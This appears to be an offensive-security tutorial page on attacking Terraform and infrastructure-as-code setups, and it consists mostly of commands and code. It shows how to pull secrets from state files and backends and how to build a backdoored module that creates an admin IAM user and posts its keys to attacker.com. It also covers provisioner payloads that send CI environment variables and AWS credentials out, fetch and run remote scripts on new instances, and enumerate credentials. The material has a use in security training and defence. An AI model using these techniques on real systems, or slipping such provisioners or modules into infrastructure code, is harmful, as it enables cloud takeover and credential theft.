🔥 Advanced
IaC & Terraform Attacks
Infrastructure as Code defines entire cloud environments. State files contain secrets, provider configs enable privilege escalation, and malicious modules can backdoor everything.
State File = Crown Jewels
Terraform state files contain ALL secrets in plaintext - database passwords, API keys, private keys. A leaked state file is a complete environment compromise.
IaC Attack Surface
📁 State Files
- • Plaintext secrets
- • Resource IDs & ARNs
- • Network configurations
- • Often in S3/Azure Blob (misconfigured)
📦 Modules
- • Supply chain via module sources
- • Typosquatting on registries
- • Backdoored community modules
🔑 Provider Configs
- • Hardcoded credentials
- • Overprivileged IAM roles
- • Assume role chains
🔄 CI/CD Integration
- • Plan output shows secrets
- • Apply runs with cloud admin
- • PR-based plan poisoning
State File Exploitation
bash
# State files contain ALL sensitive data in plaintext!
# 1. Find state files
# Local
find . -name "*.tfstate" -o -name "*.tfstate.backup"
# S3 (common misconfiguration: public bucket)
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .
# Azure Storage (check for public access)
az storage blob list --container-name tfstate --account-name companytfstate
# 2. Extract secrets from state
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'
# Common secret locations in state:
# - aws_db_instance: password
# - aws_iam_access_key: secret
# - tls_private_key: private_key_pem
# - random_password: result
# - aws_secretsmanager_secret_version: secret_string
# Dump all sensitive attributes
cat terraform.tfstate | jq -r '.. | .password?, .secret?, .private_key?, .secret_string? | select(. != null)'State Backend Attacks
bash
# Terraform backends often misconfigured
# S3 Backend - Check for:
# 1. Public bucket
aws s3 ls s3://company-terraform --no-sign-request
# 2. Bucket allows unauthenticated writes (rare but devastating)
aws s3 cp malicious.tfstate s3://company-terraform/prod/terraform.tfstate
# 3. Overly permissive IAM policies
# If you have ANY AWS access, check if you can read state bucket
# Azure Backend
# Check storage account network rules
az storage account show -n companytfstate --query networkRuleSet
# Terraform Cloud / Enterprise
# Leaked API tokens give full access
curl -H "Authorization: Bearer TF_TOKEN" \
https://app.terraform.io/api/v2/organizations
# List workspaces
curl -H "Authorization: Bearer TF_TOKEN" \
"https://app.terraform.io/api/v2/organizations/ORG/workspaces"
# Download state
curl -H "Authorization: Bearer TF_TOKEN" \
"https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" | \
jq -r '.data.attributes["hosted-state-download-url"]'Malicious Module Injection
Supply Chain Attack
Terraform modules are like npm packages - if you can poison the source, everyone who uses the module gets compromised.
bash
# Malicious module that creates a backdoor IAM user
# modules/vpc/main.tf (looks like normal VPC module)
resource "aws_vpc" "main" {
cidr_block = var.cidr_block
# ... normal VPC config
}
# Hidden backdoor - creates attacker access
resource "aws_iam_user" "backdoor" {
name = "terraform-state-manager" # Looks legitimate
tags = {
ManagedBy = "Terraform"
}
}
resource "aws_iam_user_policy_attachment" "backdoor" {
user = aws_iam_user.backdoor.name
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}
resource "aws_iam_access_key" "backdoor" {
user = aws_iam_user.backdoor.name
}
# Exfil the keys during apply
resource "null_resource" "exfil" {
provisioner "local-exec" {
command = "curl -X POST -d 'key=${aws_iam_access_key.backdoor.id}&secret=${aws_iam_access_key.backdoor.secret}' https://attacker.com/collect"
}
}Provisioner Abuse
bash
# Provisioners run commands during apply
# local-exec runs on the Terraform runner (CI/CD agent!)
# remote-exec runs on provisioned resources
# Backdoor via local-exec (runs on CI runner)
resource "null_resource" "backdoor" {
provisioner "local-exec" {
command = <<EOT
# Exfil CI/CD secrets
env | curl -X POST -d @- https://attacker.com/env
# Establish persistence
curl https://attacker.com/beacon.sh | bash
# Steal cloud credentials from CI runner
cat ~/.aws/credentials | curl -X POST -d @- https://attacker.com/aws
EOT
}
}
# Remote-exec on newly created instance
resource "aws_instance" "web" {
# ... instance config
provisioner "remote-exec" {
inline = [
"curl https://attacker.com/implant.sh | sudo bash",
]
connection {
type = "ssh"
user = "ubuntu"
private_key = tls_private_key.ssh.private_key_pem
host = self.public_ip
}
}
}Plan Output Secrets
bash
# terraform plan can leak secrets in CI logs!
# Even with sensitive = true, plan shows:
# - Resource changes that include secrets
# - Data source outputs
# - Module outputs
# Force plan to show all secrets (for extraction)
terraform plan -json | jq '.resource_changes[] | select(.change.after.password != null)'
# In CI/CD, check plan artifacts or logs for:
# + password = "SuperSecretPassword123!"
# + secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
# Targeted extraction from plan
terraform plan -out=plan.bin
terraform show -json plan.bin | jq '.planned_values.root_module.resources[] | {type, values}'Provider Credential Theft
bash
# Providers often configured with hardcoded or env-based creds
# Check for hardcoded creds in .tf files
grep -r "access_key|secret_key|password|token" *.tf
# Environment variables set during CI/CD
# If you can inject into the pipeline:
env | grep -i "AWS|AZURE|GOOGLE|TF_VAR"
# AWS provider credential chain:
# 1. Inline in provider block (worst practice)
# 2. Environment variables (AWS_ACCESS_KEY_ID)
# 3. Shared credentials file (~/.aws/credentials)
# 4. IAM role (instance profile / OIDC)
# Steal credentials from provider config
terraform providers -json | jq '.provider_configs'
# If using assume_role, you might be able to assume it too:
# provider "aws" {
# assume_role {
# role_arn = "arn:aws:iam::123456789:role/TerraformAdmin"
# }
# }
# If you have any AWS creds in the account, try assuming this roleEnumeration
bash
# Find Terraform files
find . -name "*.tf" -o -name "*.tfvars" -o -name "*.tfstate"
# Check for sensitive data in tfvars
cat *.tfvars terraform.tfvars
# Find backend configuration
grep -r "backend" *.tf
grep -A10 'backend "s3"' *.tf
grep -A10 'backend "azurerm"' *.tf
# Find module sources (potential supply chain)
grep -r "sources*=" *.tf | grep -v ".terraform"
# Check for hardcoded secrets
grep -r "password|secret|key|token" *.tf *.tfvars
# Terraform Cloud/Enterprise tokens
cat ~/.terraform.d/credentials.tfrc.json
echo $TF_TOKEN
# State file locations
cat backend.tf # Check remote state config
ls -la .terraform/ # Local state cache